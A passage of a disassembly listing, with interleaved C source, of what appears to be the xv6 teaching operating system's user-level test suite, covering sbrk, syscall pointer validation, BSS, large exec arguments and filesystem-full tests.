3480: e8 46 0a 00 00 call 3ecb <exit>
}
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
3485: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
348c: e9 88 00 00 00 jmp 3519 <sbrktest+0x424>
if((pids[i] = fork()) == 0){
3491: e8 2d 0a 00 00 call 3ec3 <fork>
3496: 89 c2 mov %eax,%edx
3498: 8b 45 f0 mov -0x10(%ebp),%eax
349b: 89 54 85 a0 mov %edx,-0x60(%ebp,%eax,4)
349f: 8b 45 f0 mov -0x10(%ebp),%eax
34a2: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
34a6: 85 c0 test %eax,%eax
34a8: 75 4a jne 34f4 <sbrktest+0x3ff>
// allocate a lot of memory
sbrk(BIG - (uint)sbrk(0));
34aa: 83 ec 0c sub $0xc,%esp
34ad: 6a 00 push $0x0
34af: e8 9f 0a 00 00 call 3f53 <sbrk>
34b4: 83 c4 10 add $0x10,%esp
34b7: ba 00 00 40 06 mov $0x6400000,%edx
34bc: 29 c2 sub %eax,%edx
34be: 89 d0 mov %edx,%eax
34c0: 83 ec 0c sub $0xc,%esp
34c3: 50 push %eax
34c4: e8 8a 0a 00 00 call 3f53 <sbrk>
34c9: 83 c4 10 add $0x10,%esp
write(fds[1], "x", 1);
34cc: 8b 45 cc mov -0x34(%ebp),%eax
34cf: 83 ec 04 sub $0x4,%esp
34d2: 6a 01 push $0x1
34d4: 68 cb 48 00 00 push $0x48cb
34d9: 50 push %eax
34da: e8 0c 0a 00 00 call 3eeb <write>
34df: 83 c4 10 add $0x10,%esp
// sit around until killed
for(;;) sleep(1000);
34e2: 83 ec 0c sub $0xc,%esp
34e5: 68 e8 03 00 00 push $0x3e8
34ea: e8 6c 0a 00 00 call 3f5b <sleep>
34ef: 83 c4 10 add $0x10,%esp
34f2: eb ee jmp 34e2 <sbrktest+0x3ed>
}
if(pids[i] != -1)
34f4: 8b 45 f0 mov -0x10(%ebp),%eax
34f7: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
34fb: 83 f8 ff cmp $0xffffffff,%eax
34fe: 74 15 je 3515 <sbrktest+0x420>
read(fds[0], &scratch, 1);
3500: 8b 45 c8 mov -0x38(%ebp),%eax
3503: 83 ec 04 sub $0x4,%esp
3506: 6a 01 push $0x1
3508: 8d 55 9f lea -0x61(%ebp),%edx
350b: 52 push %edx
350c: 50 push %eax
350d: e8 d1 09 00 00 call 3ee3 <read>
3512: 83 c4 10 add $0x10,%esp
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
3515: 83 45 f0 01 addl $0x1,-0x10(%ebp)
3519: 8b 45 f0 mov -0x10(%ebp),%eax
351c: 83 f8 09 cmp $0x9,%eax
351f: 0f 86 6c ff ff ff jbe 3491 <sbrktest+0x39c>
}
// if those failed allocations freed up the pages they did allocate,
// we'll be able to allocate here
c = sbrk(4096);
3525: 83 ec 0c sub $0xc,%esp
3528: 68 00 10 00 00 push $0x1000
352d: e8 21 0a 00 00 call 3f53 <sbrk>
3532: 83 c4 10 add $0x10,%esp
3535: 89 45 e0 mov %eax,-0x20(%ebp)
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
3538: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
353f: eb 2b jmp 356c <sbrktest+0x477>
if(pids[i] == -1)
3541: 8b 45 f0 mov -0x10(%ebp),%eax
3544: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
3548: 83 f8 ff cmp $0xffffffff,%eax
354b: 74 1a je 3567 <sbrktest+0x472>
continue;
kill(pids[i]);
354d: 8b 45 f0 mov -0x10(%ebp),%eax
3550: 8b 44 85 a0 mov -0x60(%ebp,%eax,4),%eax
3554: 83 ec 0c sub $0xc,%esp
3557: 50 push %eax
3558: e8 9e 09 00 00 call 3efb <kill>
355d: 83 c4 10 add $0x10,%esp
wait();
3560: e8 6e 09 00 00 call 3ed3 <wait>
3565: eb 01 jmp 3568 <sbrktest+0x473>
continue;
3567: 90 nop
for(i = 0; i < sizeof(pids)/sizeof(pids[0]); i++){
3568: 83 45 f0 01 addl $0x1,-0x10(%ebp)
356c: 8b 45 f0 mov -0x10(%ebp),%eax
356f: 83 f8 09 cmp $0x9,%eax
3572: 76 cd jbe 3541 <sbrktest+0x44c>
}
if(c == (char*)0xffffffff){
3574: 83 7d e0 ff cmpl $0xffffffff,-0x20(%ebp)
3578: 75 1b jne 3595 <sbrktest+0x4a0>
printf(stdout, "failed sbrk leaked memory\n");
357a: a1 a8 62 00 00 mov 0x62a8,%eax
357f: 83 ec 08 sub $0x8,%esp
3582: 68 5a 59 00 00 push $0x595a
3587: 50 push %eax
3588: e8 b1 0a 00 00 call 403e <printf>
358d: 83 c4 10 add $0x10,%esp
exit();
3590: e8 36 09 00 00 call 3ecb <exit>
}
if(sbrk(0) > oldbrk)
3595: 83 ec 0c sub $0xc,%esp
3598: 6a 00 push $0x0
359a: e8 b4 09 00 00 call 3f53 <sbrk>
359f: 83 c4 10 add $0x10,%esp
35a2: 39 45 ec cmp %eax,-0x14(%ebp)
35a5: 73 20 jae 35c7 <sbrktest+0x4d2>
sbrk(-(sbrk(0) - oldbrk));
35a7: 83 ec 0c sub $0xc,%esp
35aa: 6a 00 push $0x0
35ac: e8 a2 09 00 00 call 3f53 <sbrk>
35b1: 83 c4 10 add $0x10,%esp
35b4: 89 c2 mov %eax,%edx
35b6: 8b 45 ec mov -0x14(%ebp),%eax
35b9: 29 d0 sub %edx,%eax
35bb: 83 ec 0c sub $0xc,%esp
35be: 50 push %eax
35bf: e8 8f 09 00 00 call 3f53 <sbrk>
35c4: 83 c4 10 add $0x10,%esp
printf(stdout, "sbrk test OK\n");
35c7: a1 a8 62 00 00 mov 0x62a8,%eax
35cc: 83 ec 08 sub $0x8,%esp
35cf: 68 75 59 00 00 push $0x5975
35d4: 50 push %eax
35d5: e8 64 0a 00 00 call 403e <printf>
35da: 83 c4 10 add $0x10,%esp
}
35dd: 90 nop
35de: c9 leave
35df: c3 ret
000035e0 <validateint>:
void
validateint(int *p)
{
35e0: 55 push %ebp
35e1: 89 e5 mov %esp,%ebp
35e3: 53 push %ebx
35e4: 83 ec 10 sub $0x10,%esp
int res;
asm("mov %%esp, %%ebx\n\t"
35e7: b8 0d 00 00 00 mov $0xd,%eax
35ec: 8b 55 08 mov 0x8(%ebp),%edx
35ef: 89 d1 mov %edx,%ecx
35f1: 89 e3 mov %esp,%ebx
35f3: 89 cc mov %ecx,%esp
35f5: cd 40 int $0x40
35f7: 89 dc mov %ebx,%esp
35f9: 89 45 f8 mov %eax,-0x8(%ebp)
"int %2\n\t"
"mov %%ebx, %%esp" :
"=a" (res) :
"a" (SYS_sleep), "n" (T_SYSCALL), "c" (p) :
"ebx");
}
35fc: 90 nop
35fd: 83 c4 10 add $0x10,%esp
3600: 5b pop %ebx
3601: 5d pop %ebp
3602: c3 ret
00003603 <validatetest>:
void
validatetest(void)
{
3603: 55 push %ebp
3604: 89 e5 mov %esp,%ebp
3606: 83 ec 18 sub $0x18,%esp
int hi, pid;
uint p;
printf(stdout, "validate test\n");
3609: a1 a8 62 00 00 mov 0x62a8,%eax
360e: 83 ec 08 sub $0x8,%esp
3611: 68 83 59 00 00 push $0x5983
3616: 50 push %eax
3617: e8 22 0a 00 00 call 403e <printf>
361c: 83 c4 10 add $0x10,%esp
hi = 1100*1024;
361f: c7 45 f0 00 30 11 00 movl $0x113000,-0x10(%ebp)
for(p = 0; p <= (uint)hi; p += 4096){
3626: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
362d: e9 8a 00 00 00 jmp 36bc <validatetest+0xb9>
if((pid = fork()) == 0){
3632: e8 8c 08 00 00 call 3ec3 <fork>
3637: 89 45 ec mov %eax,-0x14(%ebp)
363a: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
363e: 75 14 jne 3654 <validatetest+0x51>
// try to crash the kernel by passing in a badly placed integer
validateint((int*)p);
3640: 8b 45 f4 mov -0xc(%ebp),%eax
3643: 83 ec 0c sub $0xc,%esp
3646: 50 push %eax
3647: e8 94 ff ff ff call 35e0 <validateint>
364c: 83 c4 10 add $0x10,%esp
exit();
364f: e8 77 08 00 00 call 3ecb <exit>
}
sleep(0);
3654: 83 ec 0c sub $0xc,%esp
3657: 6a 00 push $0x0
3659: e8 fd 08 00 00 call 3f5b <sleep>
365e: 83 c4 10 add $0x10,%esp
sleep(0);
3661: 83 ec 0c sub $0xc,%esp
3664: 6a 00 push $0x0
3666: e8 f0 08 00 00 call 3f5b <sleep>
366b: 83 c4 10 add $0x10,%esp
kill(pid);
366e: 83 ec 0c sub $0xc,%esp
3671: ff 75 ec pushl -0x14(%ebp)
3674: e8 82 08 00 00 call 3efb <kill>
3679: 83 c4 10 add $0x10,%esp
wait();
367c: e8 52 08 00 00 call 3ed3 <wait>
// try to crash the kernel by passing in a bad string pointer
if(link("nosuchfile", (char*)p) != -1){
3681: 8b 45 f4 mov -0xc(%ebp),%eax
3684: 83 ec 08 sub $0x8,%esp
3687: 50 push %eax
3688: 68 92 59 00 00 push $0x5992
368d: e8 99 08 00 00 call 3f2b <link>
3692: 83 c4 10 add $0x10,%esp
3695: 83 f8 ff cmp $0xffffffff,%eax
3698: 74 1b je 36b5 <validatetest+0xb2>
printf(stdout, "link should not succeed\n");
369a: a1 a8 62 00 00 mov 0x62a8,%eax
369f: 83 ec 08 sub $0x8,%esp
36a2: 68 9d 59 00 00 push $0x599d
36a7: 50 push %eax
36a8: e8 91 09 00 00 call 403e <printf>
36ad: 83 c4 10 add $0x10,%esp
exit();
36b0: e8 16 08 00 00 call 3ecb <exit>
for(p = 0; p <= (uint)hi; p += 4096){
36b5: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
36bc: 8b 45 f0 mov -0x10(%ebp),%eax
36bf: 39 45 f4 cmp %eax,-0xc(%ebp)
36c2: 0f 86 6a ff ff ff jbe 3632 <validatetest+0x2f>
}
}
printf(stdout, "validate ok\n");
36c8: a1 a8 62 00 00 mov 0x62a8,%eax
36cd: 83 ec 08 sub $0x8,%esp
36d0: 68 b6 59 00 00 push $0x59b6
36d5: 50 push %eax
36d6: e8 63 09 00 00 call 403e <printf>
36db: 83 c4 10 add $0x10,%esp
}
36de: 90 nop
36df: c9 leave
36e0: c3 ret
000036e1 <bsstest>:
// does unintialized data start out zero?
char uninit[10000];
void
bsstest(void)
{
36e1: 55 push %ebp
36e2: 89 e5 mov %esp,%ebp
36e4: 83 ec 18 sub $0x18,%esp
int i;
printf(stdout, "bss test\n");
36e7: a1 a8 62 00 00 mov 0x62a8,%eax
36ec: 83 ec 08 sub $0x8,%esp
36ef: 68 c3 59 00 00 push $0x59c3
36f4: 50 push %eax
36f5: e8 44 09 00 00 call 403e <printf>
36fa: 83 c4 10 add $0x10,%esp
for(i = 0; i < sizeof(uninit); i++){
36fd: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3704: eb 2e jmp 3734 <bsstest+0x53>
if(uninit[i] != '\0'){
3706: 8b 45 f4 mov -0xc(%ebp),%eax
3709: 05 80 63 00 00 add $0x6380,%eax
370e: 0f b6 00 movzbl (%eax),%eax
3711: 84 c0 test %al,%al
3713: 74 1b je 3730 <bsstest+0x4f>
printf(stdout, "bss test failed\n");
3715: a1 a8 62 00 00 mov 0x62a8,%eax
371a: 83 ec 08 sub $0x8,%esp
371d: 68 cd 59 00 00 push $0x59cd
3722: 50 push %eax
3723: e8 16 09 00 00 call 403e <printf>
3728: 83 c4 10 add $0x10,%esp
exit();
372b: e8 9b 07 00 00 call 3ecb <exit>
for(i = 0; i < sizeof(uninit); i++){
3730: 83 45 f4 01 addl $0x1,-0xc(%ebp)
3734: 8b 45 f4 mov -0xc(%ebp),%eax
3737: 3d 0f 27 00 00 cmp $0x270f,%eax
373c: 76 c8 jbe 3706 <bsstest+0x25>
}
}
printf(stdout, "bss test ok\n");
373e: a1 a8 62 00 00 mov 0x62a8,%eax
3743: 83 ec 08 sub $0x8,%esp
3746: 68 de 59 00 00 push $0x59de
374b: 50 push %eax
374c: e8 ed 08 00 00 call 403e <printf>
3751: 83 c4 10 add $0x10,%esp
}
3754: 90 nop
3755: c9 leave
3756: c3 ret
00003757 <bigargtest>:
// does exec return an error if the arguments
// are larger than a page? or does it write
// below the stack and wreck the instructions/data?
void
bigargtest(void)
{
3757: 55 push %ebp
3758: 89 e5 mov %esp,%ebp
375a: 83 ec 18 sub $0x18,%esp
int pid, fd;
unlink("bigarg-ok");
375d: 83 ec 0c sub $0xc,%esp
3760: 68 eb 59 00 00 push $0x59eb
3765: e8 b1 07 00 00 call 3f1b <unlink>
376a: 83 c4 10 add $0x10,%esp
pid = fork();
376d: e8 51 07 00 00 call 3ec3 <fork>
3772: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid == 0){
3775: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
3779: 0f 85 97 00 00 00 jne 3816 <bigargtest+0xbf>
static char *args[MAXARG];
int i;
for(i = 0; i < MAXARG-1; i++)
377f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
3786: eb 12 jmp 379a <bigargtest+0x43>
args[i] = "bigargs test: failed\n ";
3788: 8b 45 f4 mov -0xc(%ebp),%eax
378b: c7 04 85 e0 62 00 00 movl $0x59f8,0x62e0(,%eax,4)
3792: f8 59 00 00
for(i = 0; i < MAXARG-1; i++)
3796: 83 45 f4 01 addl $0x1,-0xc(%ebp)
379a: 83 7d f4 1e cmpl $0x1e,-0xc(%ebp)
379e: 7e e8 jle 3788 <bigargtest+0x31>
args[MAXARG-1] = 0;
37a0: c7 05 5c 63 00 00 00 movl $0x0,0x635c
37a7: 00 00 00
printf(stdout, "bigarg test\n");
37aa: a1 a8 62 00 00 mov 0x62a8,%eax
37af: 83 ec 08 sub $0x8,%esp
37b2: 68 d5 5a 00 00 push $0x5ad5
37b7: 50 push %eax
37b8: e8 81 08 00 00 call 403e <printf>
37bd: 83 c4 10 add $0x10,%esp
exec("echo", args);
37c0: 83 ec 08 sub $0x8,%esp
37c3: 68 e0 62 00 00 push $0x62e0
37c8: 68 f4 43 00 00 push $0x43f4
37cd: e8 31 07 00 00 call 3f03 <exec>
37d2: 83 c4 10 add $0x10,%esp
printf(stdout, "bigarg test ok\n");
37d5: a1 a8 62 00 00 mov 0x62a8,%eax
37da: 83 ec 08 sub $0x8,%esp
37dd: 68 e2 5a 00 00 push $0x5ae2
37e2: 50 push %eax
37e3: e8 56 08 00 00 call 403e <printf>
37e8: 83 c4 10 add $0x10,%esp
fd = open("bigarg-ok", O_CREATE);
37eb: 83 ec 08 sub $0x8,%esp
37ee: 68 00 02 00 00 push $0x200
37f3: 68 eb 59 00 00 push $0x59eb
37f8: e8 0e 07 00 00 call 3f0b <open>
37fd: 83 c4 10 add $0x10,%esp
3800: 89 45 ec mov %eax,-0x14(%ebp)
close(fd);
3803: 83 ec 0c sub $0xc,%esp
3806: ff 75 ec pushl -0x14(%ebp)
3809: e8 e5 06 00 00 call 3ef3 <close>
380e: 83 c4 10 add $0x10,%esp
exit();
3811: e8 b5 06 00 00 call 3ecb <exit>
} else if(pid < 0){
3816: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
381a: 79 1b jns 3837 <bigargtest+0xe0>
printf(stdout, "bigargtest: fork failed\n");
381c: a1 a8 62 00 00 mov 0x62a8,%eax
3821: 83 ec 08 sub $0x8,%esp
3824: 68 f2 5a 00 00 push $0x5af2
3829: 50 push %eax
382a: e8 0f 08 00 00 call 403e <printf>
382f: 83 c4 10 add $0x10,%esp
exit();
3832: e8 94 06 00 00 call 3ecb <exit>
}
wait();
3837: e8 97 06 00 00 call 3ed3 <wait>
fd = open("bigarg-ok", 0);
383c: 83 ec 08 sub $0x8,%esp
383f: 6a 00 push $0x0
3841: 68 eb 59 00 00 push $0x59eb
3846: e8 c0 06 00 00 call 3f0b <open>
384b: 83 c4 10 add $0x10,%esp
384e: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
3851: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3855: 79 1b jns 3872 <bigargtest+0x11b>
printf(stdout, "bigarg test failed!\n");
3857: a1 a8 62 00 00 mov 0x62a8,%eax
385c: 83 ec 08 sub $0x8,%esp
385f: 68 0b 5b 00 00 push $0x5b0b
3864: 50 push %eax
3865: e8 d4 07 00 00 call 403e <printf>
386a: 83 c4 10 add $0x10,%esp
exit();
386d: e8 59 06 00 00 call 3ecb <exit>
}
close(fd);
3872: 83 ec 0c sub $0xc,%esp
3875: ff 75 ec pushl -0x14(%ebp)
3878: e8 76 06 00 00 call 3ef3 <close>
387d: 83 c4 10 add $0x10,%esp
unlink("bigarg-ok");
3880: 83 ec 0c sub $0xc,%esp
3883: 68 eb 59 00 00 push $0x59eb
3888: e8 8e 06 00 00 call 3f1b <unlink>
388d: 83 c4 10 add $0x10,%esp
}
3890: 90 nop
3891: c9 leave
3892: c3 ret
00003893 <fsfull>:
// what happens when the file system runs out of blocks?
// answer: balloc panics, so this test is not useful.
void
fsfull()
{
3893: 55 push %ebp
3894: 89 e5 mov %esp,%ebp
3896: 53 push %ebx
3897: 83 ec 64 sub $0x64,%esp
int nfiles;
int fsblocks = 0;
389a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
printf(1, "fsfull test\n");
38a1: 83 ec 08 sub $0x8,%esp
38a4: 68 20 5b 00 00 push $0x5b20
38a9: 6a 01 push $0x1
38ab: e8 8e 07 00 00 call 403e <printf>
38b0: 83 c4 10 add $0x10,%esp
for(nfiles = 0; ; nfiles++){
38b3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
char name[64];
name[0] = 'f';
38ba: c6 45 a4 66 movb $0x66,-0x5c(%ebp)
name[1] = '0' + nfiles / 1000;
38be: 8b 4d f4 mov -0xc(%ebp),%ecx
38c1: ba d3 4d 62 10 mov $0x10624dd3,%edx
38c6: 89 c8 mov %ecx,%eax
38c8: f7 ea imul %edx
38ca: c1 fa 06 sar $0x6,%edx
38cd: 89 c8 mov %ecx,%eax
38cf: c1 f8 1f sar $0x1f,%eax
38d2: 29 c2 sub %eax,%edx
38d4: 89 d0 mov %edx,%eax
38d6: 83 c0 30 add $0x30,%eax
38d9: 88 45 a5 mov %al,-0x5b(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
38dc: 8b 5d f4 mov -0xc(%ebp),%ebx
38df: ba d3 4d 62 10 mov $0x10624dd3,%edx
38e4: 89 d8 mov %ebx,%eax
38e6: f7 ea imul %edx
38e8: c1 fa 06 sar $0x6,%edx
38eb: 89 d8 mov %ebx,%eax
38ed: c1 f8 1f sar $0x1f,%eax
38f0: 89 d1 mov %edx,%ecx
38f2: 29 c1 sub %eax,%ecx
38f4: 69 c1 e8 03 00 00 imul $0x3e8,%ecx,%eax
38fa: 29 c3 sub %eax,%ebx
38fc: 89 d9 mov %ebx,%ecx
38fe: ba 1f 85 eb 51 mov $0x51eb851f,%edx
3903: 89 c8 mov %ecx,%eax
3905: f7 ea imul %edx
3907: c1 fa 05 sar $0x5,%edx
390a: 89 c8 mov %ecx,%eax
390c: c1 f8 1f sar $0x1f,%eax
390f: 29 c2 sub %eax,%edx
3911: 89 d0 mov %edx,%eax
3913: 83 c0 30 add $0x30,%eax
3916: 88 45 a6 mov %al,-0x5a(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
3919: 8b 5d f4 mov -0xc(%ebp),%ebx
391c: ba 1f 85 eb 51 mov $0x51eb851f,%edx
3921: 89 d8 mov %ebx,%eax
3923: f7 ea imul %edx
3925: c1 fa 05 sar $0x5,%edx
3928: 89 d8 mov %ebx,%eax
392a: c1 f8 1f sar $0x1f,%eax
392d: 89 d1 mov %edx,%ecx
392f: 29 c1 sub %eax,%ecx
3931: 6b c1 64 imul $0x64,%ecx,%eax
3934: 29 c3 sub %eax,%ebx
3936: 89 d9 mov %ebx,%ecx
3938: ba 67 66 66 66 mov $0x66666667,%edx
393d: 89 c8 mov %ecx,%eax
393f: f7 ea imul %edx
3941: c1 fa 02 sar $0x2,%edx
3944: 89 c8 mov %ecx,%eax
3946: c1 f8 1f sar $0x1f,%eax
3949: 29 c2 sub %eax,%edx
394b: 89 d0 mov %edx,%eax
394d: 83 c0 30 add $0x30,%eax
3950: 88 45 a7 mov %al,-0x59(%ebp)
name[4] = '0' + (nfiles % 10);
3953: 8b 4d f4 mov -0xc(%ebp),%ecx
3956: ba 67 66 66 66 mov $0x66666667,%edx
395b: 89 c8 mov %ecx,%eax
395d: f7 ea imul %edx
395f: c1 fa 02 sar $0x2,%edx
3962: 89 c8 mov %ecx,%eax
3964: c1 f8 1f sar $0x1f,%eax
3967: 29 c2 sub %eax,%edx
3969: 89 d0 mov %edx,%eax
396b: c1 e0 02 shl $0x2,%eax
396e: 01 d0 add %edx,%eax
3970: 01 c0 add %eax,%eax
3972: 29 c1 sub %eax,%ecx
3974: 89 ca mov %ecx,%edx
3976: 89 d0 mov %edx,%eax
3978: 83 c0 30 add $0x30,%eax
397b: 88 45 a8 mov %al,-0x58(%ebp)
name[5] = '\0';
397e: c6 45 a9 00 movb $0x0,-0x57(%ebp)
printf(1, "writing %s\n", name);
3982: 83 ec 04 sub $0x4,%esp
3985: 8d 45 a4 lea -0x5c(%ebp),%eax
3988: 50 push %eax
3989: 68 2d 5b 00 00 push $0x5b2d
398e: 6a 01 push $0x1
3990: e8 a9 06 00 00 call 403e <printf>
3995: 83 c4 10 add $0x10,%esp
int fd = open(name, O_CREATE|O_RDWR);
3998: 83 ec 08 sub $0x8,%esp
399b: 68 02 02 00 00 push $0x202
39a0: 8d 45 a4 lea -0x5c(%ebp),%eax
39a3: 50 push %eax
39a4: e8 62 05 00 00 call 3f0b <open>
39a9: 83 c4 10 add $0x10,%esp
39ac: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
39af: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
39b3: 79 18 jns 39cd <fsfull+0x13a>
printf(1, "open %s failed\n", name);
39b5: 83 ec 04 sub $0x4,%esp
39b8: 8d 45 a4 lea -0x5c(%ebp),%eax
39bb: 50 push %eax
39bc: 68 39 5b 00 00 push $0x5b39
39c1: 6a 01 push $0x1
39c3: e8 76 06 00 00 call 403e <printf>
39c8: 83 c4 10 add $0x10,%esp
break;
39cb: eb 6b jmp 3a38 <fsfull+0x1a5>
}
int total = 0;
39cd: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
while(1){
int cc = write(fd, buf, 512);
39d4: 83 ec 04 sub $0x4,%esp
39d7: 68 00 02 00 00 push $0x200
39dc: 68 a0 8a 00 00 push $0x8aa0
39e1: ff 75 e8 pushl -0x18(%ebp)
39e4: e8 02 05 00 00 call 3eeb <write>
39e9: 83 c4 10 add $0x10,%esp
39ec: 89 45 e4 mov %eax,-0x1c(%ebp)
if(cc < 512)
39ef: 81 7d e4 ff 01 00 00 cmpl $0x1ff,-0x1c(%ebp)
39f6: 7e 0c jle 3a04 <fsfull+0x171>
break;
total += cc;
39f8: 8b 45 e4 mov -0x1c(%ebp),%eax
39fb: 01 45 ec add %eax,-0x14(%ebp)
fsblocks++;
39fe: 83 45 f0 01 addl $0x1,-0x10(%ebp)
while(1){
3a02: eb d0 jmp 39d4 <fsfull+0x141>
break;
3a04: 90 nop
}
printf(1, "wrote %d bytes\n", total);
3a05: 83 ec 04 sub $0x4,%esp
3a08: ff 75 ec pushl -0x14(%ebp)
3a0b: 68 49 5b 00 00 push $0x5b49
3a10: 6a 01 push $0x1
3a12: e8 27 06 00 00 call 403e <printf>
3a17: 83 c4 10 add $0x10,%esp
close(fd);
3a1a: 83 ec 0c sub $0xc,%esp
3a1d: ff 75 e8 pushl -0x18(%ebp)
3a20: e8 ce 04 00 00 call 3ef3 <close>
3a25: 83 c4 10 add $0x10,%esp
if(total == 0)
3a28: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
3a2c: 74 09 je 3a37 <fsfull+0x1a4>
for(nfiles = 0; ; nfiles++){
3a2e: 83 45 f4 01 addl $0x1,-0xc(%ebp)
3a32: e9 83 fe ff ff jmp 38ba <fsfull+0x27>
break;
3a37: 90 nop
}
while(nfiles >= 0){
3a38: e9 db 00 00 00 jmp 3b18 <fsfull+0x285>
char name[64];
name[0] = 'f';
3a3d: c6 45 a4 66 movb $0x66,-0x5c(%ebp)
name[1] = '0' + nfiles / 1000;
3a41: 8b 4d f4 mov -0xc(%ebp),%ecx
3a44: ba d3 4d 62 10 mov $0x10624dd3,%edx
3a49: 89 c8 mov %ecx,%eax
3a4b: f7 ea imul %edx
3a4d: c1 fa 06 sar $0x6,%edx
3a50: 89 c8 mov %ecx,%eax
3a52: c1 f8 1f sar $0x1f,%eax
3a55: 29 c2 sub %eax,%edx
3a57: 89 d0 mov %edx,%eax
3a59: 83 c0 30 add $0x30,%eax
3a5c: 88 45 a5 mov %al,-0x5b(%ebp)
name[2] = '0' + (nfiles % 1000) / 100;
3a5f: 8b 5d f4 mov -0xc(%ebp),%ebx
3a62: ba d3 4d 62 10 mov $0x10624dd3,%edx
3a67: 89 d8 mov %ebx,%eax
3a69: f7 ea imul %edx
3a6b: c1 fa 06 sar $0x6,%edx
3a6e: 89 d8 mov %ebx,%eax
3a70: c1 f8 1f sar $0x1f,%eax
3a73: 89 d1 mov %edx,%ecx
3a75: 29 c1 sub %eax,%ecx
3a77: 69 c1 e8 03 00 00 imul $0x3e8,%ecx,%eax
3a7d: 29 c3 sub %eax,%ebx
3a7f: 89 d9 mov %ebx,%ecx
3a81: ba 1f 85 eb 51 mov $0x51eb851f,%edx
3a86: 89 c8 mov %ecx,%eax
3a88: f7 ea imul %edx
3a8a: c1 fa 05 sar $0x5,%edx
3a8d: 89 c8 mov %ecx,%eax
3a8f: c1 f8 1f sar $0x1f,%eax
3a92: 29 c2 sub %eax,%edx
3a94: 89 d0 mov %edx,%eax
3a96: 83 c0 30 add $0x30,%eax
3a99: 88 45 a6 mov %al,-0x5a(%ebp)
name[3] = '0' + (nfiles % 100) / 10;
3a9c: 8b 5d f4 mov -0xc(%ebp),%ebx
3a9f: ba 1f 85 eb 51 mov $0x51eb851f,%edx
3aa4: 89 d8 mov %ebx,%eax
3aa6: f7 ea imul %edx
3aa8: c1 fa 05 sar $0x5,%edx
3aab: 89 d8 mov %ebx,%eax
3aad: c1 f8 1f sar $0x1f,%eax
3ab0: 89 d1 mov %edx,%ecx
3ab2: 29 c1 sub %eax,%ecx
3ab4: 6b c1 64 imul $0x64,%ecx,%eax
3ab7: 29 c3 sub %eax,%ebx
3ab9: 89 d9 mov %ebx,%ecx
3abb: ba 67 66 66 66 mov $0x66666667,%edx
3ac0: 89 c8 mov %ecx,%eax
3ac2: f7 ea imul %edx
3ac4: c1 fa 02 sar $0x2,%edx
3ac7: 89 c8 mov %ecx,%eax
3ac9: c1 f8 1f sar $0x1f,%eax
3acc: 29 c2 sub %eax,%edx
3ace: 89 d0 mov %edx,%eax
3ad0: 83 c0 30 add $0x30,%eax
3ad3: 88 45 a7 mov %al,-0x59(%ebp)
name[4] = '0' + (nfiles % 10);
3ad6: 8b 4d f4 mov -0xc(%ebp),%ecx
3ad9: ba 67 66 66 66 mov $0x66666667,%edx
3ade: 89 c8 mov %ecx,%eax
3ae0: f7 ea imul %edx
3ae2: c1 fa 02 sar $0x2,%edx
3ae5: 89 c8 mov %ecx,%eax
3ae7: c1 f8 1f sar $0x1f,%eax
3aea: 29 c2 sub %eax,%edx
3aec: 89 d0 mov %edx,%eax
3aee: c1 e0 02 shl $0x2,%eax
3af1: 01 d0 add %edx,%eax
3af3: 01 c0 add %eax,%eax
3af5: 29 c1 sub %eax,%ecx
3af7: 89 ca mov %ecx,%edx
3af9: 89 d0 mov %edx,%eax
3afb: 83 c0 30 add $0x30,%eax
3afe: 88 45 a8 mov %al,-0x58(%ebp)
name[5] = '\0';
3b01: c6 45 a9 00 movb $0x0,-0x57(%ebp)
unlink(name);
3b05: 83 ec 0c sub $0xc,%esp
3b08: 8d 45 a4 lea -0x5c(%ebp),%eax
3b0b: 50 push %eax
3b0c: e8 0a 04 00 00 call 3f1b <unlink>
3b11: 83 c4 10 add $0x10,%esp
nfiles--;
3b14: 83 6d f4 01 subl $0x1,-0xc(%ebp)
while(nfiles >= 0){
3b18: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
3b1c: 0f 89 1b ff ff ff jns 3a3d <fsfull+0x1aa>
}
printf(1, "fsfull test finished\n");
3b22: 83 ec 08 sub $0x8,%esp
3b25: 68 59 5b 00 00 push $0x5b59
3b2a: 6a 01 push $0x1
3b2c: e8 0d 05 00 00 call 403e <printf>
3b31: 83 c4 10 add $0x10,%esp
}
3b34: 90 nop
3b35: 8b 5d fc mov -0x4(%ebp),%ebx
3b38: c9 leave
3b39: c3 ret
00003b3a <rand>:
unsigned long randstate = 1;
unsigned int
rand()
{
3b3a: 55 push %ebp
3b3b: 89 e5 mov %esp,%ebp
randstate = randstate * 1664525 + 1013904223;
3b3d: a1 ac 62 00 00 mov 0x62ac,%eax
3b42: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
3b48: 05 5f f3 6e 3c add $0x3c6ef35f,%eax
3b4d: a3 ac 62 00 00 mov %eax,0x62ac
return randstate;
3b52: a1 ac 62 00 00 mov 0x62ac,%eax
}
3b57: 5d pop %ebp
3b58: c3 ret
00003b59 <main>:
int
main(int argc, char *argv[])
{
3b59: 8d 4c 24 04 lea 0x4(%esp),%ecx
3b5d: 83 e4 f0 and $0xfffffff0,%esp
3b60: ff 71 fc pushl -0x4(%ecx)
3b63: 55 push %ebp
